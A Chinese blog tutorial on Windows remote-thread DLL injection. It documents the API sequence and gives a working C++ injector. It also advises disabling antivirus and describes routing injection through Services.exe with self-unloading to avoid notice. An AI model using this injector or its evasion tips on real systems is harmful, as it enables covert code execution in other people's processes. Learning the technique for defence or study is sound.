抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

​ 在Dll注入技术学习中,远程线程注入可以说是最容易理解的一种注入技术了。通过这种技术,我们也可以触类旁通其他注入技术。

原理

现在有三个程序:目标注入进程、注入加载进程以及Dll。

我们都知道一个exe文件会去加载自己所需要的Dll去运行,通常是一些系统Dll,如果有需要,也会加载自己编写的Dll。这里就出现了我们的利用点,也就是windows肯定提供了API供我们使用去加载Dll。那么接下来的思路就是利用API函数加载Dll并执行Dll中的函数。

执行思路:通过目标进程pid获取进程句柄 -> 在目标进程开辟空间 -> 在开辟空间写入Dll的路径 -> 目标进程中创建远程线程加载Dll。

API

获取进程句柄

1
2
3
4
5
6
//返回值是进程句柄
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,//一般获取权限为PROCESS_ALL_ACCESS权限
[in] BOOL bInheritHandle,//不重要
[in] DWORD dwProcessId//目标进程pid
);

加载Dll(重要)

1
2
3
4
//返回值是Dll句柄
HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName //加载的Dll名称
);

获取Dll的导出函数

1
2
3
4
5
//返回值是导出函数地址
FARPROC GetProcAddress(
[in] HMODULE hModule, //Dll句柄
[in] LPCSTR lpProcName //导出函数名称
);

开辟内存空间

1
2
3
4
5
6
7
8
//返回值是开辟出的内存地址
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,//进程句柄
[in, optional] LPVOID lpAddress,//NULL
[in] SIZE_T dwSize,//内存大小
[in] DWORD flAllocationType,//MEM_COMMIT
[in] DWORD flProtect//PAGE_EXECUTE_READWRITE
);

写入内存空间

1
2
3
4
5
6
7
8
//如果该函数成功,则返回值为非零值
BOOL WriteProcessMemory(
[in] HANDLE hProcess, //目标进程句柄
[in] LPVOID lpBaseAddress,//分配到的内存首地址
[in] LPCVOID lpBuffer,//写入的内容
[in] SIZE_T nSize,//写入的大小
[out] SIZE_T *lpNumberOfBytesWritten//NULL
);

创建远程线程

1
2
3
4
5
6
7
8
9
10
//
HANDLE CreateRemoteThread(
[in] HANDLE hProcess, //要在其中创建线程的进程句柄
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes, //NULL
[in] SIZE_T dwStackSize, //0
[in] LPTHREAD_START_ROUTINE lpStartAddress, //回调函数
[in] LPVOID lpParameter, //分配的内存空间
[in] DWORD dwCreationFlags,//0
[out] LPDWORD lpThreadId//NULL
);

代码

这里获取进程pid偷懒了,是直接在任务管理器中查看的。如果想实现自动获取,可以通过进程遍历来实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include<iostream>
#include<Windows.h>

int main()
{
//进程标识符
DWORD pid = 32064;

//返回值为目标进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);

//获取LoadLibary函数的加载地址

//返回值是Kernel32的句柄(也可以用GetModuleHandle实现)
HMODULE hMod = LoadLibrary("Kernel32.dll");
//返回LoadLibraryA的地址
FARPROC fun = GetProcAddress(hMod, "LoadLibraryA");
//此路径修改为你自己的测试dll
char DllPath[] = "F:\\code_py&C\\vs2017\\injecte\\Dll1\\Debug\\Dll1";

//在目标进程中开辟内存空间
LPVOID address = VirtualAllocEx(hProcess, NULL, strlen(DllPath), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

//将要注入的dll路径写入目标进程
WriteProcessMemory(hProcess, address, DllPath, strlen(DllPath), NULL);

//目标程序创建线程
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)fun, address, 0, NULL);

}

首先开启测试注入进程

image-20240428114954519

接着运行Dll注入进程,记得关闭杀毒软件

image-20240428115046164

在注入进程也可以找到我们的Dll

image-20240428115112808

进阶实现

我们可以依赖可信任进程进行注入,例如注入Services.exe这个进程,首先先将a.dll远线程注入到Service.exe中,再利用a.dll将b.dll远线程注入的待注入进程中。

这里偷一张图

img

a.dll注入成功后还可以“功成身退”,利用FreeLibraryAndExitThread()把自己卸载掉并且退出线程。